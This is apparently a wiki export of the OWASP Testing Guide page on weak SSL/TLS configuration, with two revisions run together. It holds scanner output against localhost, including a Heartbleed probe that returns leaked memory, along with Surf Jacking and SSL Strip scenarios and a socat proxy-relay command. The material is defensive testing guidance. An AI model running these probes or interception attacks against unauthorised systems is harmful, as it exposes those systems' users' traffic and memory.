0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w.<br />
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~...<br />
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.<br />
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............<br />
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#...........<br />
<br />
[-] Closing connection<br />
<br />
[-] Connecting to 127.0.0.1:443 using TLSv1.2<br />
[-] Sending ClientHello<br />
[-] ServerHello received<br />
[-] Sending Heartbeat<br />
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over TLSv1.2<br />
[-] Displaying response (lines consisting entirely of null bytes are removed):<br />
<br />
0000: 02 FF FF 08 03 03 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....<br />
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........<br />
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........<br />
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.".<br />
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.'.(.).*.<br />
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2.<br />
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.<br />
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>.?.@.A.B.<br />
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.<br />
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.<br />
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m.............<br />
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!.".#.$.%.&.'.<br />
01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../.<br />
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7.<br />
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?.<br />
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G.<br />
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O.<br />
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W.<br />
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._.<br />
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g.<br />
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o.<br />
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w.<br />
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~...<br />
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.<br />
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............<br />
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#...........<br />
<br />
[-] Closing connection<br />
<br />
<br />
<br />
[!] Vulnerable to Heartbleed bug (CVE-2014-0160) mentioned in http://heartbleed.com/<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
=====================================<br />
<br />
Loading module: CCS Injection script by TripWire VERT ...<br />
<br />
Checking localhost:443 for OpenSSL ChangeCipherSpec (CCS) Injection bug (CVE-2014-0224) ...<br />
<br />
[!] The target may allow early CCS on TLSv1.2<br />
[!] The target may allow early CCS on TLSv1.1<br />
[!] The target may allow early CCS on TLSv1<br />
[!] The target may allow early CCS on SSLv3<br />
<br />
<br />
[-] This is an experimental detection script and does not definitively determine vulnerable server status.<br />
<br />
[!] Potentially vulnerable to OpenSSL ChangeCipherSpec (CVE-2014-0224) mentioned in http://ccsinjection.lepidum.co.jp/<br />
[!] Vulnerability Status: Possible<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for HTTP Compression support against BREACH vulnerability (CVE-2013-3587) ...<br />
<br />
[*] HTTP Compression: DISABLED<br />
[*] Immune from BREACH attack mentioned in https://media.blackhat.com/us-13/US-13-Prado-SSL-Gone-in-30-seconds-A-BREACH-beyond-CRIME-WP.pdf<br />
[*] Vulnerability Status: No<br />
<br />
<br />
--------------- RAW HTTP RESPONSE ---------------<br />
<br />
HTTP/1.1 302 Found<br />
Date: Sat, 19 Jul 2014 17:54:32 GMT<br />
Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7<br />
X-Powered-By: PHP/5.4.7<br />
Location: https://localhost/xampp/<br />
Content-Length: 0<br />
Connection: close<br />
Content-Type: text/html<br />
<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for correct use of Strict Transport Security (STS) response header (RFC6797) ...<br />
<br />
[!] STS response header: NOT PRESENT<br />
[!] Vulnerable to MITM threats mentioned in https://www.owasp.org/index.php/HTTP_Strict_Transport_Security#Threats<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
--------------- RAW HTTP RESPONSE ---------------<br />
<br />
HTTP/1.1 302 Found<br />
Date: Sat, 19 Jul 2014 17:54:32 GMT<br />
Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7<br />
X-Powered-By: PHP/5.4.7<br />
Location: https://localhost/xampp/<br />
Content-Length: 0<br />
Connection: close<br />
Content-Type: text/html<br />
<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost for HTTP support against HTTPS Stripping attack ...<br />
<br />
[!] HTTP Support on port [80] : SUPPORTED<br />
[!] Vulnerable to HTTPS Stripping attack mentioned in https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for HTTP elements embedded in SSL page ...<br />
<br />
[*] HTTP elements embedded in SSL page: NOT PRESENT<br />
[*] Immune from MITM malicious content injection attack<br />
[*] Vulnerability Status: No<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for ROBUST use of anti-caching mechanism ...<br />
<br />
[!] Cache Control Directives: NOT PRESENT<br />
[!] Browsers, Proxies and other Intermediaries will cache SSL page and sensitive information will be leaked.<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
-------------------------------------------------<br />
<br />
<br />
Robust Solution (Is it Troublesome for you to add more things for your site security?):<br />
<br />
- Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0, max-age=0, s-maxage=0<br />
- Ref: https://www.owasp.org/index.php/Testing_for_Browser_cache_weakness_(OWASP-AT-007)<br />
http://msdn.microsoft.com/en-us/library/ms533020(v=vs.85).aspx<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for ECDHE/DHE ciphers against FORWARD SECRECY support ...<br />
<br />
[*] Forward Secrecy: SUPPORTED<br />
[*] Connected using cipher - TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA on protocol - TLSv1<br />
[*] Attackers will NOT be able to decrypt sniffed SSL packets even if they have compromised private keys.<br />
[*] Vulnerability Status: No<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for RC4 support (CVE-2013-2566) ...<br />
<br />
[!] RC4: SUPPORTED<br />
[!] Vulnerable to MITM attack described in http://www.isg.rhul.ac.uk/tls/<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for TLS 1.1 support ...<br />
<br />
Checking localhost:443 for TLS 1.2 support ...<br />
<br />
[*] TLS 1.1, TLS 1.2: SUPPORTED<br />
[*] Immune from BEAST attack mentioned in http://www.infoworld.com/t/security/red-alert-https-has-been-hacked-174025<br />
[*] Vulnerability Status: No<br />
<br />
<br />
<br />
=====================================<br />
<br />
Loading module: sslyze by iSecPartners ...<br />
<br />
Checking localhost:443 for Session Renegotiation support (CVE-2009-3555,CVE-2011-1473,CVE-2011-5094) ...<br />
<br />
[*] Secure Client-Initiated Renegotiation : NOT SUPPORTED<br />
[*] Mitigated from DOS attack (CVE-2011-1473,CVE-2011-5094) mentioned in https://www.thc.org/thc-ssl-dos/<br />
[*] Vulnerability Status: No<br />
<br />
<br />
[*] INSECURE Client-Initiated Renegotiation : NOT SUPPORTED<br />
[*] Immune from TLS Plain-text Injection attack (CVE-2009-3555) - http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3555 <br />
[*] Vulnerability Status: No<br />
<br />
<br />
=====================================<br />
<br />
Loading module: TestSSLServer by Thomas Pornin ...<br />
<br />
Checking localhost:443 for SSL version 2 support ...<br />
<br />
[*] SSL version 2 : NOT SUPPORTED<br />
[*] Immune from SSLv2-based MITM attack <br />
[*] Vulnerability Status: No<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for LANE (LOW,ANON,NULL,EXPORT) weak ciphers support ...<br />
<br />
Supported LANE cipher suites:<br />
SSLv3<br />
RSA_EXPORT_WITH_RC4_40_MD5<br />
RSA_EXPORT_WITH_RC2_CBC_40_MD5<br />
RSA_EXPORT_WITH_DES40_CBC_SHA<br />
RSA_WITH_DES_CBC_SHA<br />
DHE_RSA_EXPORT_WITH_DES40_CBC_SHA<br />
DHE_RSA_WITH_DES_CBC_SHA<br />
TLS_ECDH_anon_WITH_RC4_128_SHA<br />
TLS_ECDH_anon_WITH_3DES_EDE_CBC_SHA<br />
TLS_ECDH_anon_WITH_AES_256_CBC_SHA<br />
(TLSv1.0: same as above)<br />
(TLSv1.1: same as above)<br />
(TLSv1.2: same as above)<br />
<br />
<br />
[!] LANE ciphers : SUPPORTED<br />
[!] Attackers may be ABLE to recover encrypted packets.<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for GCM/CCM ciphers support against Lucky13 attack (CVE-2013-0169) ...<br />
<br />
Supported GCM cipher suites against Lucky13 attack:<br />
TLSv1.2<br />
TLS_RSA_WITH_AES_128_GCM_SHA256<br />
TLS_RSA_WITH_AES_256_GCM_SHA384<br />
TLS_DHE_RSA_WITH_AES_128_GCM_SHA256<br />
TLS_DHE_RSA_WITH_AES_256_GCM_SHA384<br />
TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256<br />
TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384<br />
<br />
<br />
[*] GCM/CCM ciphers : SUPPORTED<br />
[*] Immune from Lucky13 attack mentioned in http://www.isg.rhul.ac.uk/tls/Lucky13.html<br />
[*] Vulnerability Status: No<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for TLS Compression support against CRIME (CVE-2012-4929) & TIME attack ...<br />
<br />
[*] TLS Compression : DISABLED<br />
[*] Immune from CRIME & TIME attack mentioned in https://media.blackhat.com/eu-13/briefings/Beery/bh-eu-13-a-perfect-crime-beery-wp.pdf<br />
[*] Vulnerability Status: No<br />
<br />
<br />
=====================================<br />
<br />
[+] Breacher finished scanning in 27 seconds.<br />
[+] Get your latest copy at http://yehg.net/<br />
</pre><br />
<br />
===Testing SSL certificate validity – client and server===<br />
Firstly upgrade the browser because CA certs expire and in every release of the browser these are renewed. Examine the validity of the certificates used by the application. Browsers will issue a warning when encountering expired certificates, certificates issued by untrusted CAs, and certificates which do not match name wise with the site to which they should refer. <br />
<br />
<br />
By clicking on the padlock that appears in the browser window when visiting an HTTPS site, testers can look at information related to the certificate – including the issuer, period of validity, encryption characteristics, etc. If the application requires a client certificate, that tester has probably installed one to access it. Certificate information is available in the browser by inspecting the relevant certificate(s) in the list of the installed certificates. <br />
<br />
<br />
These checks must be applied to all visible SSL-wrapped communication channels used by the application. Though this is the usual https service running on port 443, there may be additional services involved depending on the web application architecture and on deployment issues (an HTTPS administrative port left open, HTTPS services on non-standard ports, etc.). Therefore, apply these checks to all SSL-wrapped ports which have been discovered. For example, the nmap scanner features a scanning mode (enabled by the –sV command line switch) which identifies SSL-wrapped services. The Nessus vulnerability scanner has the capability of performing SSL checks on all SSL/TLS-wrapped services. <br />
<br />
<br />
====Example 1. Testing for certificate validity (manually)====<br />
Rather than providing a fictitious example, this guide includes an anonymized real-life example to stress how frequently one stumbles on https sites whose certificates are inaccurate with respect to naming. The following screenshots refer to a regional site of a high-profile IT company. <br />
<br />
We are visiting a .it site and the certificate was issued to a .com site. Internet Explorer warns that the name on the certificate does not match the name of the site. <br />
<br />
[[Image:SSL Certificate Validity Testing IE Warning.gif]]<br />
<br />
''Warning issued by Microsoft Internet Explorer''<br />
<br />
The message issued by Firefox is different. Firefox complains because it cannot ascertain the identity of the .com site the certificate refers to because it does not know the CA which signed the certificate. In fact, Internet Explorer and Firefox do not come pre-loaded with the same list of CAs. Therefore, the behavior experienced with various browsers may differ.<br />
<br />
[[Image:SSL Certificate Validity Testing Firefox Warning.gif]]<br />
<br />
''Warning issued by Mozilla Firefox''<br />
<br />
===Testing for other vulnerabilities===<br />
As mentioned previously, there are other types of vulnerabilities that are not related with the SSL/TLS protocol used, the cipher suites or Certificates. Apart from other vulnerabilities discussed in other parts of this guide, a vulnerability exists when the server provides the website both with the HTTP and HTTPS protocols, and permits an attacker to force a victim into using a non-secure channel instead of a secure one.<br />
<br />
<br />
====Surf Jacking====<br />
The Surf Jacking attack [7] was first presented by Sandro Gauci and permits to an attacker to hijack an HTTP session even when the victim’s connection is encrypted using SSL or TLS.<br />
<br />
<br />
The following is a scenario of how the attack can take place:<br />
* Victim logs into the secure website at https://somesecuresite/.<br />
* The secure site issues a session cookie as the client logs in.<br />
* While logged in, the victim opens a new browser window and goes to http:// examplesite/<br />
* An attacker sitting on the same network is able to see the clear text traffic to http://examplesite.<br />
* The attacker sends back a "301 Moved Permanently" in response to the clear text traffic to http://examplesite. The response contains the header “Location: http://somesecuresite /”, which makes it appear that examplesite is sending the web browser to somesecuresite. Notice that the URL scheme is HTTP not HTTPS.<br />
* The victim's browser starts a new clear text connection to http://somesecuresite/ and sends an HTTP request containing the cookie in the HTTP header in clear text<br />
* The attacker sees this traffic and logs the cookie for later use.<br />
<br />
<br />
To test if a website is vulnerable carry out the following tests:<br />
# Check if website supports both HTTP and HTTPS protocols<br />
# Check if cookies do not have the “Secure” flag<br />
<br />
<br />
====SSL Strip====<br />
Some applications supports both HTTP and HTTPS, either for usability or so users can type both addresses and get to the site. Often users go into an HTTPS website from link or a redirect. Typically personal banking sites have a similar configuration with an iframed log in or a form with action attribute over HTTPS but the page under HTTP.<br />
<br />
<br />
An attacker in a privileged position - as described in SSL strip [8] - can intercept traffic when the user is in the http site and manipulate it to get a Man-In-The-Middle attack under HTTPS. An application is vulnerable if it supports both HTTP and HTTPS.<br />
<br />
<br />
===Testing via HTTP proxy===<br />
<br />
Inside corporate environments testers can see services that are not directly accessible and they can access them only via HTTP proxy using the CONNECT method [36]. Most of the tools will not work in this scenario because they try to connect to the desired tcp port to start the SSL/TLS handshake. With the help of relaying software such as socat [37] testers can enable those tools for use with services behind an HTTP proxy.<br />
<br />
<br />
====Example 8. Testing via HTTP proxy==== <br />
<br />
To connect to destined.application.lan:443 via proxy 10.13.37.100:3128 run socat as follows:<br />
<pre><br />
$ socat TCP-LISTEN:9999,reuseaddr,fork PROXY:10.13.37.100:destined.application.lan:443,proxyport=3128<br />
</pre><br />
<br />
<br />
Then the tester can target all other tools to localhost:9999:<br />
<pre><br />
$ openssl s_client -connect localhost:9999<br />
</pre><br />
<br />
<br />
All connections to localhost:9999 will be effectively relayed by socat via proxy to destined.application.lan:443.<br />
<br />
<br />
== Gray Box testing and example ==<br />
<br />
===Testing for Weak SSL/TLS Cipher Suites===<br />
Check the configuration of the web servers that provide https services. If the web application provides other SSL/TLS wrapped services, these should be checked as well. <br />
<br />
<br />
====Example 9. Windows Server==== <br />
Check the configuration on a Microsoft Windows Server (2000, 2003 and 2008) using the registry key:<br />
<pre>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\</pre><br />
that has some sub-keys including Ciphers, Protocols and KeyExchangeAlgorithms.<br />
<br />
<br />
====Example 10: Apache====<br />
To check the cipher suites and protocols supported by the Apache2 web server, open the ssl.conf file and search for the SSLCipherSuite, SSLProtocol, SSLHonorCipherOrder,SSLInsecureRenegotiation and SSLCompression directives.<br />
<br />
<br />
===Testing SSL certificate validity – client and server===<br />
Examine the validity of the certificates used by the application at both server and client levels. The usage of certificates is primarily at the web server level, however, there may be additional communication paths protected by SSL (for example, towards the DBMS). Testers should check the application architecture to identify all SSL protected channels.<br />
<br />
<br />
==References==<br />
'''OWASP Resources'''<br />
* [5] [OWASP Testing Guide - Testing for cookie attributes (OTG-SESS-002)|https://www.owasp.org/index.php/Testing_for_cookies_attributes_(OWASP-SM-002)]<br />
* [4][OWASP Testing Guide - Test Network/Infrastructure Configuration (OTG-CONFIG-001)|https://www.owasp.org/index.php/Testing_for_infrastructure_configuration_management_(OWASP-CM-003)]<br />
* [6] [OWASP Testing |https://www.owasp.org/index.php/Testing_for_cookies_attributes_(OWASP-SM-002)][Guide - Testing for Missing HSTS header (OTG-CONFIG-009)|https://www.owasp.org/index.php/Testing_for_Missing_HSTS_header]<br />
* [2] [OWASP Testing Guide - Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-007)|https://www.owasp.org/index.php?title=Testing_for_Sensitive_information_sent_via_unencrypted_channels_(OTG-CRYPST-007)&action=edit&redlink=1]<br />
* [3] [OWASP Testing Guide - Testing for Credentials Transported over an Encrypted Channel (OWASP-AT-001)|https://www.owasp.org/index.php/Testing_for_Credentials_Transported_over_an_Encrypted_Channel_(OWASP-AT-001)]<br />
* [9] [OWASP Testing Guide - Test Content Security Policy (OTG-CONFIG-008)|https://www.owasp.org/index.php/Testing_for_Content_Security_Policy_weakness]<br />
* [22] [OWASP Cheat sheet - Transport Layer Protection|https://www.owasp.org/index.php/Transport_Layer_Protection_Cheat_Sheet]<br />
* [23] [OWASP TOP 10 2013 - A6 Sensitive Data Exposure|https://www.owasp.org/index.php/Top_10_2013-A6-Sensitive_Data_Exposure]<br />
* [24] [OWASP TOP 10 2010 - A9 Insufficient Transport Layer Protection|https://www.owasp.org/index.php/Top_10_2010-A9-Insufficient_Transport_Layer_Protection]<br />
* [25] [OWASP ASVS 2009 - Verification 10|https://code.google.com/p/owasp-asvs/wiki/Verification_V10]<br />
* [26] [OWASP Application Security FAQ - Cryptography/SSL|https://www.owasp.org/index.php/OWASP_Application_Security_FAQ#Cryptography.2FSSL]<br />
<br />
<br />
'''Whitepapers'''<br />
* [1] [RFC5246 - The Transport Layer Security (TLS) Protocol Version 1.2 (Updated by RFC 5746, RFC 5878, RFC 6176)|http://www.ietf.org/rfc/rfc5246.txt]<br />
* [36] [RFC2817 - Upgrading to TLS Within HTTP/1.1|]<br />
* [34] [RFC6066 - Transport Layer Security (TLS) Extensions: Extension Definitions|http://www.ietf.org/rfc/rfc6066.txt]<br />
* [11] [SSLv2 Protocol Multiple Weaknesses |http://osvdb.org/56387]<br />
* [12] [Mitre - TLS Renegotiation MiTM|http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3555]<br />
* [13] [Qualys SSL Labs - TLS Renegotiation DoS|https://community.qualys.com/blogs/securitylabs/2011/10/31/tls-renegotiation-and-denial-of-service-attacks]<br />
* [10] [Qualys SSL Labs - SSL/TLS Deployment Best Practices|https://www.ssllabs.com/projects/best-practices/index.html]<br />
* [14] [Qualys SSL Labs - SSL Server Rating Guide|https://www.ssllabs.com/projects/rating-guide/index.html]<br />
* [20] [Qualys SSL Labs - SSL Threat Model|https://www.ssllabs.com/projects/ssl-threat-model/index.html]<br />
* [18] [Qualys SSL Labs - Forward Secrecy|https://community.qualys.com/blogs/securitylabs/2013/06/25/ssl-labs-deploying-forward-secrecy]<br />
* [15] [Qualys SSL Labs - RC4 Usage|https://community.qualys.com/blogs/securitylabs/2013/03/19/rc4-in-tls-is-broken-now-what]<br />
* [16] [Qualys SSL Labs - BEAST|https://community.qualys.com/blogs/securitylabs/2011/10/17/mitigating-the-beast-attack-on-tls]<br />
* [17] [Qualys SSL Labs - CRIME|https://community.qualys.com/blogs/securitylabs/2012/09/14/crime-information-leakage-attack-against-ssltls]<br />
* [7] [SurfJacking attack|https://resources.enablesecurity.com/resources/Surf%20Jacking.pdf]<br />
* [8] [SSLStrip attack|http://www.thoughtcrime.org/software/sslstrip/]<br />
* [19] [PCI-DSS v2.0|https://www.pcisecuritystandards.org/security_standards/documents.php]<br />
* [35] [Xiaoyun Wang, Hongbo Yu: How to Break MD5 and Other Hash Functions| http://link.springer.com/chapter/10.1007/11426639_2]<br />
<br />
<br />
'''Tools'''<br />
* [21][Qualys SSL Labs - SSL Server Test|https://www.ssllabs.com/ssltest/index.html]: internet facing scanner<br />
* [27] [Tenable - Nessus Vulnerability Scanner|http://www.tenable.com/products/nessus]: includes some plugins to test different SSL related vulnerabilities, Certificates and the presence of HTTP Basic authentication without SSL.<br />
* [32] [TestSSLServer|http://www.bolet.org/TestSSLServer/]: a java scanner - and also windows executable - includes tests for cipher suites, CRIME and BEAST<br />
* [33] [sslyze|https://github.com/iSECPartners/sslyze]: is a python script to check vulnerabilities in SSL/TLS.<br />
* [28] [SSLAudit|https://code.google.com/p/sslaudit/]: a perl script/windows executable scanner which follows Qualys SSL Labs Rating Guide.<br />
* [29] [SSLScan|http://sourceforge.net/projects/sslscan/] with [SSL Tests|http://www.pentesterscripting.com/discovery/ssl_tests]: a SSL Scanner and a wrapper in order to enumerate SSL vulnerabilities.<br />
* [31] [nmap|http://nmap.org/]: can be used primary to identify SSL-based services and then to check Certificate and SSL/TLS vulnerabilities. In particular it has some scripts to check [Certificate and SSLv2|http://nmap.org/nsedoc/scripts/ssl-cert.html] and supported [SSL/TLS protocols/ciphers|http://nmap.org/nsedoc/scripts/ssl-enum-ciphers.html] with an internal rating.<br />
* [30] [curl|http://curl.haxx.se/] and [openssl|http://www.openssl.org/]: can be used to query manually SSL/TLS services<br />
* [9] [Stunnel|http://www.stunnel.org]: a noteworthy class of SSL clients is that of SSL proxies such as stunnel available at which can be used to allow non-SSL enabled tools to talk to SSL services)<br />
* [37] [socat| http://www.dest-unreach.org/socat/]: Multipurpose relay<br />
* [38] [testssl.sh| https://testssl.sh/ ]<br />
<br />
<br />
[[Category:Cryptographic Vulnerability]]<br />
[[Category:SSL]]</div>D0ubl3 h3lixhttps://wiki.owasp.org/index.php?title=Testing_for_Weak_SSL/TLS_Ciphers,_Insufficient_Transport_Layer_Protection_(OTG-CRYPST-001)&diff=179057Testing for Weak SSL/TLS Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-001)2014-07-21T12:58:45Z<p>D0ubl3 h3lix: /* Example 7. Testing for certificate validity (manually) */</p>
<hr />
<div>{{Template:OWASP Testing Guide v4}}<br />
<br />
<br />
== Brief Summary ==<br />
<br />
Sensitive data must be protected when it is transmitted through the network. Such data can include user credentials and credit cards. As a rule of thumb, if data must be protected when it is stored, it must be protected also during transmission. <br />
<br />
<br />
HTTP is a clear-text protocol and it is normally secured via an SSL/TLS tunnel, resulting in HTTPS traffic [1]. The use of this protocol ensures not only confidentiality, but also authentication. Servers are authenticated using digital certificates and it is also possible to use client certificate for mutual authentication. <br />
<br />
<br />
Even if high grade ciphers are today supported and normally used, some misconfiguration in the server can be used to force the use of a weak cipher - or at worst no encryption - permitting to an attacker to gain access to the supposed secure communication channel. Other misconfiguration can be used for a Denial of Service attack.<br />
<br />
<br />
== Description of the Issue == <br />
A vulnerability occurs if the HTTP protocol is used to transmit sensitive information [2] (e.g. credentials transmitted over HTTP [3]).<br />
<br />
When the SSL/TLS service is present it is good but it increments the attack surface and the following vulnerabilities exist:<br />
* SSL/TLS protocols, ciphers, keys and renegotiation must be properly configured.<br />
* Certificate validity must be ensured.<br />
<br />
Other vulnerabilities linked to this are:<br />
* Software exposed must be updated due to possibility of known vulnerabilities [4].<br />
* Usage of Secure flag for Session Cookies [5].<br />
* Usage of HTTP Strict Transport Security (HSTS) [6].<br />
* The presence of HTTP and HTTPS both, which can be used to intercept traffic [7], [8].<br />
* The presence of mixed HTTPS and HTTP content in the same page, which can be used to Leak information.<br />
<br />
<br />
===Sensitive data transmitted in clear-text===<br />
The application should not transmit sensitive information via unencrypted channels. Typically it is possible to find basic authentication over HTTP, input password or session cookie sent via HTTP and, in general, other information considered by regulations, laws or organization policy.<br />
<br />
<br />
===Weak SSL/TLS Ciphers/Protocols/Keys===<br />
Historically, there have been limitations set in place by the U.S. government to allow cryptosystems to be exported only for key sizes of at most 40 bits, a key length which could be broken and would allow the decryption of communications. Since then cryptographic export regulations have been relaxed the maximum key size is 128 bits.<br />
<br />
<br />
It is important to check the SSL configuration being used to avoid putting in place cryptographic support which could be easily defeated. To reach this goal SSL-based services should not offer the possibility to choose weak cipher suite. A cipher suite is specified by an encryption protocol (e.g. DES, RC4, AES), the encryption key length (e.g. 40, 56, or 128 bits), and a hash algorithm (e.g. SHA, MD5) used for integrity checking.<br />
<br />
<br />
Briefly, the key points for the cipher suite determination are the following: <br />
# The client sends to the server a ClientHello message specifying, among other information, the protocol and the cipher suites that it is able to handle. Note that a client is usually a web browser (most popular SSL client nowadays), but not necessarily, since it can be any SSL-enabled application; the same holds for the server, which needs not to be a web server, though this is the most common case [9].<br />
#The server responds with a ServerHello message, containing the chosen protocol and cipher suite that will be used for that session (in general the server selects the strongest protocol and cipher suite supported by both the client and server). <br />
<br />
<br />
It is possible (for example, by means of configuration directives) to specify which cipher suites the server will honor. In this way you may control whether or not conversations with clients will support 40-bit encryption only.<br />
<br />
#The server sends its Certificate message and, if client authentication is required, also sends a CertificateRequest message to the client.<br />
#The server sends a ServerHelloDone message and waits for a client response.<br />
#Upon receipt of the ServerHelloDone message, the client verifies the validity of the server's digital certificate.<br />
<br />
<br />
===SSL certificate validity – client and server===<br />
<br />
When accessing a web application via the HTTPS protocol, a secure channel is established between the client and the server. The identity of one (the server) or both parties (client and server) is then established by means of digital certificates. So, once the cipher suite is determined, the “SSL Handshake” continues with the exchange of the certificates:<br />
# The server sends its Certificate message and, if client authentication is required, also sends a CertificateRequest message to the client.<br />
# The server sends a ServerHelloDone message and waits for a client response.<br />
# Upon receipt of the ServerHelloDone message, the client verifies the validity of the server's digital certificate.<br />
<br />
<br />
In order for the communication to be set up, a number of checks on the certificates must be passed. While discussing SSL and certificate based authentication is beyond the scope of this guide, this section will focus on the main criteria involved in ascertaining certificate validity: <br />
<br />
* Checking if the Certificate Authority (CA) is a known one (meaning one considered trusted);<br />
* Checking that the certificate is currently valid;<br />
* Checking that the name of the site and the name reported in the certificate match.<br />
<br />
<br />
Let's examine each check more in detail. <br />
<br />
* Each browser comes with a pre-loaded list of trusted CAs, against which the certificate signing CA is compared (this list can be customized and expanded at will). During the initial negotiations with an HTTPS server, if the server certificate relates to a CA unknown to the browser, a warning is usually raised. This happens most often because a web application relies on a certificate signed by a self-established CA. Whether this is to be considered a concern depends on several factors. For example, this may be fine for an Intranet environment (think of corporate web email being provided via HTTPS; here, obviously all users recognize the internal CA as a trusted CA). When a service is provided to the general public via the Internet, however (i.e. when it is important to positively verify the identity of the server we are talking to), it is usually imperative to rely on a trusted CA, one which is recognized by all the user base (and here we stop with our considerations; we won’t delve deeper in the implications of the trust model being used by digital certificates). <br />
<br />
<br />
* Certificates have an associated period of validity, therefore they may expire. Again, we are warned by the browser about this. A public service needs a temporally valid certificate; otherwise, it means we are talking with a server whose certificate was issued by someone we trust, but has expired without being renewed. <br />
<br />
<br />
* What if the name on the certificate and the name of the server do not match? If this happens, it might sound suspicious. For a number of reasons, this is not so rare to see. A system may host a number of name-based virtual hosts, which share the same IP address and are identified by means of the HTTP 1.1 Host: header information. In this case, since the SSL handshake checks the server certificate before the HTTP request is processed, it is not possible to assign different certificates to each virtual server. Therefore, if the name of the site and the name reported in the certificate do not match, we have a condition which is typically signaled by the browser. To avoid this, IP-based virtual servers must be used. [33] and [34] describe techniques to deal with this problem and allow name-based virtual hosts to be correctly referenced. <br />
<br />
<br />
===Other vulnerabilities===<br />
The presence of a new service, listening in a separate tcp port may introduce vulnerabilities such as infrastructure vulnerabilities if the software is not up to date [4]. Furthermore, for the correct protection of data during transmission the Session Cookie must use the Secure flag [5] and some directives should be sent to the browser to accept only secure traffic (e.g. HSTS [6], CSP [9]). <br />
<br />
<br />
Also there are some attacks that can be used to intercept traffic if the web server exposes the application on both HTTP and HTTPS [6], [7] or in case of mixed HTTP and HTTPS resources in the same page.<br />
<br />
<br />
== Black Box Testing ==<br />
<br />
===Testing for sensitive data transmitted in clear-text===<br />
Various types of information which must be protected can be also transmitted in clear text. It is possible to check if this information is transmitted over HTTP instead of HTTPS. Please refer to specific tests for full details, for credentials [3] and other kind of data [2]. <br />
<br />
<br />
=====Example 1. Basic Authentication over HTTP=====<br />
